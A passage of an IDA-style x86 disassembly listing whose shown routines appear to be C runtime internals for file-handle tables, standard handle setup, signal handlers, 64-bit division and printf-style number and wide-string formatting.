		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_44CB71
		jmp	short loc_44CBCE
; ---------------------------------------------------------------------------


loc_44CB66:				; CODE XREF: sub_44CA51+FDj
		call	dword_411CE8
		mov	[ebp+var_10], eax
		jmp	short loc_44CBCE
; ---------------------------------------------------------------------------


loc_44CB71:				; CODE XREF: sub_44CA51+7Dj
					; sub_44CA51+111j
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	loc_44CAD3
		jmp	short loc_44CBCE
; ---------------------------------------------------------------------------


loc_44CB85:				; CODE XREF: sub_44CA51+6Dj
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08
		test	eax, eax
		jz	short loc_44CBC5
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_44CBCE
; ---------------------------------------------------------------------------


loc_44CBC5:				; CODE XREF: sub_44CA51+163j
		call	dword_411CE8
		mov	[ebp+var_10], eax


loc_44CBCE:				; CODE XREF: sub_44CA51+113j
					; sub_44CA51+11Ej ...
		cmp	[ebp+var_C], 0
		jnz	short loc_44CC34
		cmp	[ebp+var_10], 0
		jz	short loc_44CBFC
		cmp	[ebp+var_10], 5
		jnz	short loc_44CBED
		call	sub_44A781
		mov	dword ptr [eax], 9
		jmp	short loc_44CBF7
; ---------------------------------------------------------------------------


loc_44CBED:				; CODE XREF: sub_44CA51+18Dj
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_44A621
		pop	ecx


loc_44CBF7:				; CODE XREF: sub_44CA51+19Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CBFC:				; CODE XREF: sub_44CA51+187j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 40h
		jz	short loc_44CC24
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_44CC24
		xor	eax, eax
		jmp	short loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CC24:				; CODE XREF: sub_44CA51+1C5j
					; sub_44CA51+1CDj
		call	sub_44A781
		mov	dword ptr [eax], 1Ch
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CC34:				; CODE XREF: sub_44CA51+181j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_4]


loc_44CC3A:				; CODE XREF: sub_44CA51+22j
					; sub_44CA51+1A9j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44CA51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CC41	proc near		; CODE XREF: sub_44B081+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44CC6C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44CC7C


loc_44CC6C:				; CODE XREF: sub_44CC41+Ej
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CC9F
; ---------------------------------------------------------------------------


loc_44CC7C:				; CODE XREF: sub_44CC41+29j
		push	ebx
		call	sub_44D061
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_44CA51
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44D0C1
		pop	ecx
		mov	eax, esi


loc_44CC9F:				; CODE XREF: sub_44CC41+39j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44CC41	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CCB1	proc near		; CODE XREF: DMN1:loc_44D00Bp
					; sub_44DCC1:loc_44DEBEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		push	4
		call	sub_44AB21
		pop	ecx
		xor	esi, esi


loc_44CCC7:				; CODE XREF: sub_44CCB1+128j
		cmp	dword_413988[esi*4], 0
		jz	loc_44CD7E
		mov	ebx, dword_413988[esi*4]
		jmp	loc_44CD63
; ---------------------------------------------------------------------------


loc_44CCE1:				; CODE XREF: sub_44CCB1+C0j
		test	byte ptr [ebx+4], 1
		jnz	short loc_44CD60
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_44CD10
		push	3
		call	sub_44AB21
		pop	ecx
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_44CD08
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CC8
		inc	dword ptr [ebx+8]


loc_44CD08:				; CODE XREF: sub_44CCB1+48j
		push	3
		call	sub_44ABA1
		pop	ecx


loc_44CD10:				; CODE XREF: sub_44CCB1+3Aj
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CCC
		test	byte ptr [ebx+4], 1
		jz	short loc_44CD2C
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD0
		jmp	short loc_44CD60
; ---------------------------------------------------------------------------


loc_44CD2C:				; CODE XREF: sub_44CCB1+6Dj
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	eax, esi
		shl	eax, 5
		mov	[ebp+var_4], eax
		mov	edx, dword_413988[esi*4]
		mov	ecx, ebx
		sub	ecx, edx
		mov	eax, ecx
		push	eax
		mov	edx, 38E38E39h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 3
		add	eax, edx
		mov	edx, [ebp+var_4]
		lea	edi, [eax+edx]
		jmp	short loc_44CD77
; ---------------------------------------------------------------------------


loc_44CD60:				; CODE XREF: sub_44CCB1+34j
					; sub_44CCB1+79j
		add	ebx, 24h


loc_44CD63:				; CODE XREF: sub_44CCB1+2Bj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	loc_44CCE1


loc_44CD77:				; CODE XREF: sub_44CCB1+ADj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_44CDD5
		jmp	short loc_44CDDF
; ---------------------------------------------------------------------------


loc_44CD7E:				; CODE XREF: sub_44CCB1+1Ej
		push	480h
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44CDDF
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_44CDB7
; ---------------------------------------------------------------------------


loc_44CD9F:				; CODE XREF: sub_44CCB1+114j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44CDB7:				; CODE XREF: sub_44CCB1+ECj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44CD9F
		mov	edi, esi
		shl	edi, 5
		push	edi
		call	sub_44D061
		pop	ecx
		jmp	short loc_44CDDF
; ---------------------------------------------------------------------------


loc_44CDD5:				; CODE XREF: sub_44CCB1+C9j
		inc	esi
		cmp	esi, 40h
		jl	loc_44CCC7


loc_44CDDF:				; CODE XREF: sub_44CCB1+CBj
					; sub_44CCB1+DCj ...
		push	4
		call	sub_44ABA1
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44CCB1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44CDF1	proc near		; CODE XREF: sub_44B161+5Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_44CE80
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 1
		jz	short loc_44CE80
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_44CE80
		test	ebx, ebx
		jz	short loc_44CE36
		cmp	ebx, 1
		jz	short loc_44CE45
		cmp	ebx, 2
		jz	short loc_44CE54
		jmp	short loc_44CE61
; ---------------------------------------------------------------------------


loc_44CE36:				; CODE XREF: sub_44CDF1+37j
		push	0
		push	0FFFFFFF6h
		call	dword_411E0C
		jmp	short loc_44CE61
; ---------------------------------------------------------------------------


loc_44CE45:				; CODE XREF: sub_44CDF1+3Cj
		push	0
		push	0FFFFFFF5h
		call	dword_411E0C
		jmp	short loc_44CE61
; ---------------------------------------------------------------------------


loc_44CE54:				; CODE XREF: sub_44CDF1+41j
		push	0
		push	0FFFFFFF4h
		call	dword_411E0C


loc_44CE61:				; CODE XREF: sub_44CDF1+43j
					; sub_44CDF1+52j ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	dword ptr [edx+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_44CE8E
; ---------------------------------------------------------------------------


loc_44CE80:				; CODE XREF: sub_44CDF1+Bj
					; sub_44CDF1+2Bj ...
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44CE8E:				; CODE XREF: sub_44CDF1+8Dj
		pop	ebx
		retn
sub_44CDF1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44CE91	proc near		; CODE XREF: DMN1:0044D02Dp
					; sub_44DCC1+2B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_44CF22
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		cmp	dword ptr [edx+eax], 0FFFFFFFFh
		jnz	short loc_44CF22
		test	ebx, ebx
		jz	short loc_44CECF
		cmp	ebx, 1
		jz	short loc_44CEE1
		cmp	ebx, 2
		jz	short loc_44CEF3
		jmp	short loc_44CF03
; ---------------------------------------------------------------------------


loc_44CECF:				; CODE XREF: sub_44CE91+30j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF6h
		call	dword_411E0C
		jmp	short loc_44CF03
; ---------------------------------------------------------------------------


loc_44CEE1:				; CODE XREF: sub_44CE91+35j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_411E0C
		jmp	short loc_44CF03
; ---------------------------------------------------------------------------


loc_44CEF3:				; CODE XREF: sub_44CE91+3Aj
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF4h
		call	dword_411E0C


loc_44CF03:				; CODE XREF: sub_44CE91+3Cj
					; sub_44CE91+4Ej ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	ecx, [esp+4+arg_4]
		mov	[edx+eax], ecx
		xor	eax, eax
		jmp	short loc_44CF30
; ---------------------------------------------------------------------------


loc_44CF22:				; CODE XREF: sub_44CE91+Bj
					; sub_44CE91+2Cj
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44CF30:				; CODE XREF: sub_44CE91+8Fj
		pop	ebx
		retn
sub_44CE91	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_44CF41	proc near		; CODE XREF: sub_44B161+Cp
					; sub_44B161+25p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44CF82
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jz	short loc_44CF82
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		jmp	short loc_44CF90
; ---------------------------------------------------------------------------


loc_44CF82:				; CODE XREF: sub_44CF41+Bj
					; sub_44CF41+26j
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44CF90:				; CODE XREF: sub_44CF41+3Fj
		pop	ebx
		retn
sub_44CF41	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	eax
		call	sub_44CF41
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	bl, bl
		test	byte ptr [esp+14h], 8
		jz	short loc_44CFC0
		or	bl, 20h


loc_44CFC0:				; CODE XREF: DMN1:0044CFBBj
		test	word ptr [esp+14h], 4000h
		jz	short loc_44CFCC
		or	bl, 80h


loc_44CFCC:				; CODE XREF: DMN1:0044CFC7j
		test	byte ptr [esp+14h], 80h
		jz	short loc_44CFD6
		or	bl, 10h


loc_44CFD6:				; CODE XREF: DMN1:0044CFD1j
		mov	eax, [esp+10h]
		push	eax
		call	dword_411DEC
		mov	edi, eax
		test	edi, edi
		jnz	short loc_44CFF9
		call	dword_411CE8
		push	eax
		call	sub_44A621
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D052
; ---------------------------------------------------------------------------


loc_44CFF9:				; CODE XREF: DMN1:0044CFE5j
		cmp	edi, 2
		jnz	short loc_44D003
		or	bl, 40h
		jmp	short loc_44D00B
; ---------------------------------------------------------------------------


loc_44D003:				; CODE XREF: DMN1:0044CFFCj
		cmp	edi, 3
		jnz	short loc_44D00B
		or	bl, 8


loc_44D00B:				; CODE XREF: DMN1:0044D001j
					; DMN1:0044D006j
		call	sub_44CCB1
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D027
		call	sub_44A781
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D052
; ---------------------------------------------------------------------------


loc_44D027:				; CODE XREF: DMN1:0044D015j
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	sub_44CE91
		add	esp, 8
		or	bl, 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	[edx+eax+4], bl
		mov	eax, esi


loc_44D052:				; CODE XREF: DMN1:0044CFF7j
					; DMN1:0044D025j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D061	proc near		; CODE XREF: sub_44B201+3Ap
					; sub_44CC41+3Cp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	esi, [edx+eax]
		cmp	dword ptr [esi+8], 0
		jnz	short loc_44D0A7
		push	3
		call	sub_44AB21
		pop	ecx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_44D09F
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CC8
		inc	dword ptr [esi+8]


loc_44D09F:				; CODE XREF: sub_44D061+2Fj
		push	3
		call	sub_44ABA1
		pop	ecx


loc_44D0A7:				; CODE XREF: sub_44D061+21j
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CCC
		pop	esi
		pop	ebx
		retn
sub_44D061	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D0C1	proc near		; CODE XREF: sub_44B201+4Ap
					; sub_44CC41+56p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+0Ch]
		push	eax
		call	dword_411CD0
		pop	ebx
		retn
sub_44D0C1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	1
		push	2
		call	sub_44D131
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_44D10C
		test	ebx, ebx
		jnz	short loc_44D110


loc_44D10C:				; CODE XREF: DMN1:0044D106j
		xor	eax, eax
		jmp	short loc_44D12B
; ---------------------------------------------------------------------------


loc_44D110:				; CODE XREF: DMN1:0044D10Aj
		cmp	ebx, 1
		jz	short loc_44D126
		push	0
		push	2
		call	sub_44D131
		add	esp, 8
		push	2
		call	ebx
		pop	ecx


loc_44D126:				; CODE XREF: DMN1:0044D113j
		mov	eax, 1


loc_44D12B:				; CODE XREF: DMN1:0044D10Ej
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D131	proc near		; CODE XREF: sub_44B581+18p
					; sub_44B581+3Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_44D14F
		cmp	ebx, 2Ch
		jge	short loc_44D14F
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_44D157


loc_44D14F:				; CODE XREF: sub_44D131+Ej
					; sub_44D131+13j
		or	eax, 0FFFFFFFFh
		jmp	loc_44D207
; ---------------------------------------------------------------------------


loc_44D157:				; CODE XREF: sub_44D131+1Cj
		cmp	ebx, 4
		jz	short loc_44D166
		cmp	ebx, 8
		jz	short loc_44D166
		cmp	ebx, 0Bh
		jnz	short loc_44D1C5


loc_44D166:				; CODE XREF: sub_44D131+29j
					; sub_44D131+2Ej
		call	sub_44B471
		mov	[ebp+var_8], eax
		mov	eax, [eax+34h]
		cmp	eax, offset dword_4117E4
		jnz	short loc_44D1A6
		push	0B0h
		call	sub_44A581
		pop	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+34h], eax
		test	eax, eax
		jz	short loc_44D1A1
		mov	eax, [ebp+var_8]
		mov	edi, [eax+34h]
		mov	esi, offset dword_4117E4
		mov	ecx, 2Ch
		rep movsd
		jmp	short loc_44D1A6
; ---------------------------------------------------------------------------


loc_44D1A1:				; CODE XREF: sub_44D131+5Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D207
; ---------------------------------------------------------------------------


loc_44D1A6:				; CODE XREF: sub_44D131+45j
					; sub_44D131+6Ej
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+34h]
		mov	ecx, [ecx+eax]
		mov	[ebp+var_4], ecx
		mov	edx, [edx+34h]
		mov	ecx, [ebp+arg_4]
		mov	[edx+eax], ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_44D207
; ---------------------------------------------------------------------------


loc_44D1C5:				; CODE XREF: sub_44D131+33j
		cmp	ebx, 2
		jnz	short loc_44D1F3
		cmp	dword_41189C, 0
		jnz	short loc_44D1F3
		push	1
		push	offset sub_40ADD0
		call	dword_411E10
		test	eax, eax
		jnz	short loc_44D1E9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D207
; ---------------------------------------------------------------------------


loc_44D1E9:				; CODE XREF: sub_44D131+B1j
		mov	dword_41189C, 1


loc_44D1F3:				; CODE XREF: sub_44D131+97j
					; sub_44D131+A0j
		lea	eax, ds:4117E4h[ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]


loc_44D207:				; CODE XREF: sub_44D131+21j
					; sub_44D131+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D131	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================



sub_44D211	proc near		; CODE XREF: DMN1:00449EACp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_44D211	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D221	proc near		; CODE XREF: DMN1:0044B66Dp
					; sub_44D3E1+F3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jnz	short loc_44D243
		mov	ecx, [esp+8+arg_0]
		mov	eax, [esp+8+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_44D284
; ---------------------------------------------------------------------------


loc_44D243:				; CODE XREF: sub_44D221+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		mov	eax, [esp+8+arg_8]


loc_44D251:				; CODE XREF: sub_44D221+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_44D251
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_44D27F
		cmp	edx, [esp+8+arg_C]
		ja	short loc_44D27F
		jb	short loc_44D280
		cmp	eax, [esp+8+arg_8]
		jbe	short loc_44D280


loc_44D27F:				; CODE XREF: sub_44D221+4Ej
					; sub_44D221+54j
		dec	esi


loc_44D280:				; CODE XREF: sub_44D221+56j
					; sub_44D221+5Cj
		xor	edx, edx
		mov	eax, esi


loc_44D284:				; CODE XREF: sub_44D221+20j
		pop	esi
		pop	ebx
		retn	10h
sub_44D221	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D291	proc near		; CODE XREF: sub_44C011+B3p
					; sub_44C011+6E1p

var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [ebx+2Ch], 0
		jge	short loc_44D2AF
		mov	[ebp+var_64], 7FFFFFFFh
		jmp	short loc_44D2B5
; ---------------------------------------------------------------------------


loc_44D2AF:				; CODE XREF: sub_44D291+13j
		mov	eax, [ebx+2Ch]
		mov	[ebp+var_64], eax


loc_44D2B5:				; CODE XREF: sub_44D291+1Cj
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax
		movzx	eax, byte_4118A0
		mov	edx, [ebx+34h]
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		test	word ptr [ebx+38h], 4
		jnz	short loc_44D2E6
		cmp	[ebp+var_14], 40h
		ja	short loc_44D2F5


loc_44D2E6:				; CODE XREF: sub_44D291+4Dj
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], 40h
		jmp	short loc_44D30E
; ---------------------------------------------------------------------------


loc_44D2F5:				; CODE XREF: sub_44D291+53j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_44A581
		pop	ecx
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_44D30E
		or	eax, 0FFFFFFFFh
		jmp	loc_44D3D6
; ---------------------------------------------------------------------------


loc_44D30E:				; CODE XREF: sub_44D291+62j
					; sub_44D291+73j
		test	esi, esi
		jnz	short loc_44D317
		mov	esi, offset aNull ; "(null)"


loc_44D317:				; CODE XREF: sub_44D291+7Fj
		mov	[ebp+var_20], 0
		jmp	short loc_44D39C
; ---------------------------------------------------------------------------


loc_44D320:				; CODE XREF: sub_44D291+10Fj
		lea	eax, [ebp+var_1C]
		push	eax
		movzx	eax, word ptr [esi]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_44E2C1
		add	esp, 0Ch
		mov	edi, eax
		test	eax, eax
		jl	short loc_44D347
		cmp	word ptr [esi],	0
		jnz	short loc_44D34D
		dec	edi
		mov	eax, edi
		test	eax, eax
		jge	short loc_44D34D


loc_44D347:				; CODE XREF: sub_44D291+A7j
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	short loc_44D3A6
; ---------------------------------------------------------------------------


loc_44D34D:				; CODE XREF: sub_44D291+ADj
					; sub_44D291+B4j
		cmp	[ebp+var_4], edi
		jl	short loc_44D3A6
		mov	eax, [ebx+14h]
		add	eax, edi
		cmp	[ebp+var_14], eax
		jnb	short loc_44D377
		mov	dword ptr [ebx+34h], 0
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44C751
		add	esp, 8
		mov	dword ptr [ebx+14h], 0


loc_44D377:				; CODE XREF: sub_44D291+C9j
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+var_10]
		add	eax, edx
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		add	[ebx+14h], edi
		cmp	word ptr [esi],	0
		jz	short loc_44D3A6
		add	esi, 2
		sub	[ebp+var_4], edi


loc_44D39C:				; CODE XREF: sub_44D291+8Dj
		cmp	[ebp+var_4], 0
		jg	loc_44D320


loc_44D3A6:				; CODE XREF: sub_44D291+BAj
					; sub_44D291+BFj ...
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44C751
		add	esp, 8
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+14h], 0
		lea	eax, [ebp+var_60]
		cmp	eax, [ebp+var_10]
		jz	short loc_44D3D3
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4494D1
		pop	ecx


loc_44D3D3:				; CODE XREF: sub_44D291+136j
		mov	eax, [ebp+var_20]


loc_44D3D6:				; CODE XREF: sub_44D291+78j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D291	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D3E1	proc near		; CODE XREF: sub_44C011+256p
					; sub_44C011+3CAp ...

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 58h
		jnz	short loc_44D3F9
		mov	[ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
		jmp	short loc_44D400
; ---------------------------------------------------------------------------


loc_44D3F9:				; CODE XREF: sub_44D3E1+Dj
		mov	[ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"


loc_44D400:				; CODE XREF: sub_44D3E1+16j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 6Fh
		jnz	short loc_44D415
		mov	[ebp+var_38], 8
		jmp	short loc_44D430
; ---------------------------------------------------------------------------


loc_44D415:				; CODE XREF: sub_44D3E1+29j
		mov	al, [ebp+arg_4]
		cmp	al, 78h
		jz	short loc_44D429
		cmp	al, 58h
		jz	short loc_44D429
		mov	[ebp+var_38], 0Ah
		jmp	short loc_44D430
; ---------------------------------------------------------------------------


loc_44D429:				; CODE XREF: sub_44D3E1+39j
					; sub_44D3E1+3Dj
		mov	[ebp+var_38], 10h


loc_44D430:				; CODE XREF: sub_44D3E1+32j
					; sub_44D3E1+46j
